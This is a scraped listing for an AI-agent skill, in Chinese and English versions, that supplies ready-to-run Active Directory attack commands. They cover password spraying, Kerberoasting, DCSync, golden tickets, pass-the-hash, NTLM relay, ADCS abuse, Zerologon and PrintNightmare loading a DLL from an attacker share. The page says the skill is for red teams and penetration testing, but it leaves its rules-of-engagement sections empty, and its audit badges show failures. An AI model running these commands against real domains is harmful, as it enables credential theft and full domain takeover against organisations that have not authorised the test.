active-directory-attacks by sickn33/antigravity-awesome-skills
npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill active-directory-attacks提供针对 Microsoft Active Directory 环境的全面攻击技术。涵盖红队行动和渗透测试中的侦察、凭证收集、Kerberos 攻击、横向移动、权限提升和域控获取。
| 工具 | 用途 |
|---|---|
| BloodHound | AD 攻击路径可视化 |
| Impacket | Python AD 攻击工具集 |
| Mimikatz | 凭证提取 |
| Rubeus | Kerberos 攻击 |
| CrackMapExec | 网络利用 |
| PowerView | AD 枚举 |
| Responder | LLMNR/NBT-NS 投毒 |
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
Kerberos 要求时钟同步(±5 分钟):
# 检测时钟偏差
nmap -sT 10.10.10.10 -p445 --script smb2-time
# 在 Linux 上修正时钟
sudo date -s "14 APR 2024 18:25:16"
# 在 Windows 上修正时钟
net time /domain /set
# 在不改变系统时间的情况下伪造时钟
faketime -f '+8h' <command>
# 启动 BloodHound
neo4j console
bloodhound --no-sandbox
# 使用 SharpHound 收集数据
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python 收集器(从 Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
# 获取域信息
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# 枚举用户
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# 枚举组
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# 查找本地管理员访问权限
Find-LocalAdminAccess -Verbose
# 用户追踪
Invoke-UserHunter
Invoke-UserHunter -Stealth
# 使用 kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# 使用 CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
提取服务账户 TGS 票据并离线破解:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# 使用 hashcat 破解
hashcat -m 13100 hashes.txt rockyou.txt
针对启用了"不需要 Kerberos 预认证"的账户:
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# 使用 hashcat 破解
hashcat -m 18200 hashes.txt rockyou.txt
直接从 DC 提取凭证(需要 Replicating Directory Changes 权限):
# Impacket
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
使用 krbtgt 哈希为任意用户伪造 TGT:
# 首先通过 DCSync 获取 krbtgt 哈希
# Mimikatz - 创建黄金票据
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
为特定服务伪造 TGS:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
# Impacket
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
将 NTLM 哈希转换为 Kerberos 票据:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
# 启动 Responder(禁用 SMB/HTTP 以进行中继)
responder -I eth0 -wrf
# 启动中继
ntlmrelayx.py -tf targets.txt -smb2support
# LDAP 中继用于委派攻击
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
# 查找易受攻击的模板
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
# 利用 ESC1
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
# 使用证书进行身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 检查漏洞
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# 利用
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# 提取哈希
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# 恢复密码(重要!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
# 检查漏洞
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# 利用(需要托管恶意 DLL)
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
# 自动化利用
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
| 攻击 | 工具 | 命令 |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
| Spray | kerbrute | kerbrute passwordspray -d domain users.txt Pass |
必须:
禁止:
应该:
# 1. 查找具有 SPN 的服务账户
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. 请求 TGS 票据
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. 破解票据
hashcat -m 13100 tgs.txt rockyou.txt
# 4. 使用破解的服务账户
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
# 1. 启动针对 LDAP 的中继
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. 触发身份验证(例如,通过 PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. 使用创建的机器账户进行 RBCD 攻击
| 问题 | 解决方案 |
|---|---|
| 时钟偏差过大 | 与 DC 同步时间或使用 faketime |
| Kerberoasting 返回空结果 | 没有具有 SPN 的服务账户 |
| DCSync 访问被拒绝 | 需要 Replicating Directory Changes 权限 |
| NTLM 中继失败 | 检查 SMB 签名,尝试 LDAP 目标 |
| BloodHound 为空 | 验证收集器是否使用正确的凭证运行 |
关于委派攻击、GPO 滥用、RODC 攻击、SCCM/WSUS 部署、ADCS 利用、信任关系以及 Linux AD 集成等高级技术,请参阅 references/advanced-attacks.md。
本技能适用于执行概述中描述的工作流程或操作。
每周安装数
102
代码仓库
GitHub 星标数
27.1K
首次出现
2026年2月21日
安全审计
安装于
opencode101
codex100
cursor99
gemini-cli99
amp99
kimi-cli99
Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.
| Tool | Purpose |
|---|---|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |
Kerberos requires clock synchronization (±5 minutes):
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time
# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"
# Fix clock on Windows
net time /domain /set
# Fake clock without changing system time
faketime -f '+8h' <command>
# Start BloodHound
neo4j console
bloodhound --no-sandbox
# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass
# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController
# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset
# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member
# Find local admin access
Find-LocalAdminAccess -Verbose
# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123
# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
Extract service account TGS tickets and crack offline:
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt
# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
Target accounts with "Do not require Kerberos preauthentication":
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat
# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
Extract credentials directly from DC (requires Replicating Directory Changes rights):
# Impacket
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
Forge TGT with krbtgt hash for any user:
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt
# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local
Forge TGS for specific service:
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
# Impacket
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
Convert NTLM hash to Kerberos ticket:
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache
# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf
# Start relay
ntlmrelayx.py -tf targets.txt -smb2support
# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
# Find vulnerable templates
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10
# Exploit ESC1
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon
# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10
# Extract hashes
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass
# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
| Attack | Tool | Command |
|---|---|---|
| Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request |
| AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| DCSync | secretsdump | secretsdump.py domain/admin:pass@DC |
| Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH |
| Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH |
Must:
Must Not:
Should:
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Use cracked service account
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12
# 3. Use created machine account for RBCD attack
| Issue | Solution |
|---|---|
| Clock skew too great | Sync time with DC or use faketime |
| Kerberoasting returns empty | No service accounts with SPNs |
| DCSync access denied | Need Replicating Directory Changes rights |
| NTLM relay fails | Check SMB signing, try LDAP target |
| BloodHound empty | Verify collector ran with correct creds |
For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md.
This skill is applicable to execute the workflow or actions described in the overview.
Weekly Installs
102
Repository
GitHub Stars
27.1K
First Seen
Feb 21, 2026
Security Audits
Gen Agent Trust HubWarnSocketFailSnykFail
Installed on
opencode101
codex100
cursor99
gemini-cli99
amp99
kimi-cli99
Azure PostgreSQL 无密码身份验证配置指南:Entra ID 迁移与访问管理
34,800 周安装
后端架构模式:整洁架构、六边形架构与领域驱动设计实战指南
11,000 周安装
Expo DOM组件教程:在React Native应用中无缝运行网页库和代码
11,200 周安装
Google Workspace CLI 日历事件创建命令 - gws calendar +insert 完整使用指南
11,500 周安装
Google Docs 追加文本命令 gws-docs-write | Google Workspace CLI 文档写入工具
12,300 周安装
Diátaxis 文档专家 | GitHub Copilot 智能文档撰写助手,遵循专业框架
12,900 周安装
Electron应用自动化指南:使用agent-browser通过CDP实现桌面应用自动化
14,100 周安装
| Spray | kerbrute | kerbrute passwordspray -d domain users.txt Pass |